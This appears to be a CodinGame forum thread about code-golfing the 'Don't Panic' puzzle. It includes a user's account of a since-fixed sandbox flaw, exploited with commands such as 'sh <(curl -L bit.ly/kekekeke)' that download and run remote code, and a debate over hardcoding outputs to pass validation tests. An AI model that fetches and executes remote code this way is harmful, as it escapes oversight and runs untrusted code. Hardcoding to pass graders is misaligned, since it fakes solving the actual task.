I really wish I could see this code. This seems like magic to me.
Just printing WAIT and BLOCK takes 20-25 characters
Trying in Python3:
print(āBWLAOICTKā[0::2])
You are right, 24 characters - ultimately puzzling!
I seem to running in to a bug with the game engine. Iām storing the command I want to issue into a variable using the Javascript ternary operator. Sometimes the command prints correctly, other times it doesnāt. What makes this even weirder is that printErr correctly outputs the command.
Iād send you a screenshot but apparently new users arenāt allowed. Hereās the example output:
Standard Error Stream:
BLOCK
Standard Output Stream:
WAIT
Game information:
You do nothing.
And the line of code generating it:
printErr(c),print(c)
Any idea whatās going on here?
Never mind. I figured it out. If you print commands before you read all of the game data, your values get buffered in a queue. The game starts reading from the top of the queue and a delay is introduced.
The puzzling 27 character solution dissapeared as anomalously today as it had appeared One has to wonder, was it creatively using the grading system weaknesses or using other languages outside of the given ringā¦
As itās āfixedā I think itās OK to talk about that 27 char solution, it was a fun after all.
(If not, please CG staff delete this post)
As you say the ring (or jail in Linux terms) in CG puzzles are pretty good, impossible to escape.
But somehow there was internet connection in the puzzle.I knew about it in the chat (a great source of information and evil).
So the puzzle changed from solving the puzzle directly to be able to download and run the code that solves the puzzle (golf-ception).
The most simplistic solution was storing the code in pastebin and then using some URL shortener. Something like sh <(curl -L bit.ly/kekekeke)
. What itās inside parenthesis is run first, and the output of it itās executed by sh.
But there was room for reducing it by having a domain where you store the code. This reduces the URL size and letās you remove the -L parameter (3 chars). The -L is to follow redirections, but if you own the domain you just store at that url the code you need.
So the theorical limit I could came up was 14 char. Something like: . <(curl x.io)
The dot and parenthesis structure is the shortest Bash command I came up for running some code and also run the result of this code.
My shortest code in it was 17char. I intentionally left it at 27 char (with unnecesary padding) because I assume the other guy was using that trick too, but as Iām not sure I donāt want to take out his place, I just tie him.
And I want to say sorry to the CG staff. The surely had a boring time removing all those tricky submits on our accounts. But you know, we are curious, it was a codegolf inside another codegolf
Yup, it was a security breach. We fixed it and removed the submissions using it.
Oh right, thatās more like itā¦Thank you guys
Seems the elevator position and floor is not inside the constraints?
elevator floor=-5560 pos=32767lead clone pos=5 floor=0
Python 3 now on par with Bash <3
I cannot reduce my code size below 307 (in python).
Does it mean that Iām stuck at this point in quest map?
What can I do to move down the quest map?
Yes, youāre stuck until you improve your solution. As you already have a working solution you should have access to see other peoples solutions on the standard (https://www.codingame.com/training/medium/donāt-panic-episode-1) version of the puzzle. Checking those may give you ideas on how to shorten your code.
You can also find usefull tips here:
This is an article from the codingame blog, where you can find some tips for code golfing in python:
The link you posted shows the solution of other people but they are all disabled!
Just copy paste the solution you used in the codegolf section, submit it in the training section, and it will unlock all solutions of the same language.
To all being frustrated about their solution is over 100 bytes and top solutions being way lower than that!
Iāve looked at shortest solutions in the training section and I must say that most (if not all) of them are just hardcoded, i.e. tailor-made to pass validation tests.
Iām not gonna copy these here but the point is in hard coding a sequence of moves (with integers or chars) and then just throwing them to the output one by one. Of course, all the input data is just ignored and never analyzed.
This is obviously no fair play.
My personal solution is in Javascript and is 143 bytes and Iām happy with it.
But as Code Golf section in CG respects hardcoded entries higher I am not interested in this unsportive competition.
If I am wrong please explain me by pointing to a fair shorter solution or other fact I might be missing.
Thanks and bless you!
Itās even worse than you think: calling code golf in another language with a system call, generating a random solution and spam submitting it until it generates the correct answer, there are lots of crazy and creative solutions. Provided it passes the validators, everything is legal. There are no rules.
In this respect, these entries are not unfair but just go beyond the limits you set to yourself.
I disagree. It may be Ok if the only condition is to pass the validation tests. But itās not. The task your code needs to solve is laid in the puzzle description.
One can easily create just one more little test that perfectly fits the puzzle description (no rules changed) and plenty of those legal (as you call them) solutions will 100% break.
In this respect Iām grateful to puzzle creators that align the test cases to their description to an ultimate extent. Which takes just one randomized test case.
This puzzle can be no exception: add a test with a random number of levels and random elevatorsā positions and voila! - everybody has to code what is requested in the description. Wanna practice side-tricks - create a puzzle with a single rule: no rules.
Iāve never seen a puzzle author who would encourage hardcoding solutions to their puzzle.
CG Code golf is not about solving puzzles but making it as short as possible.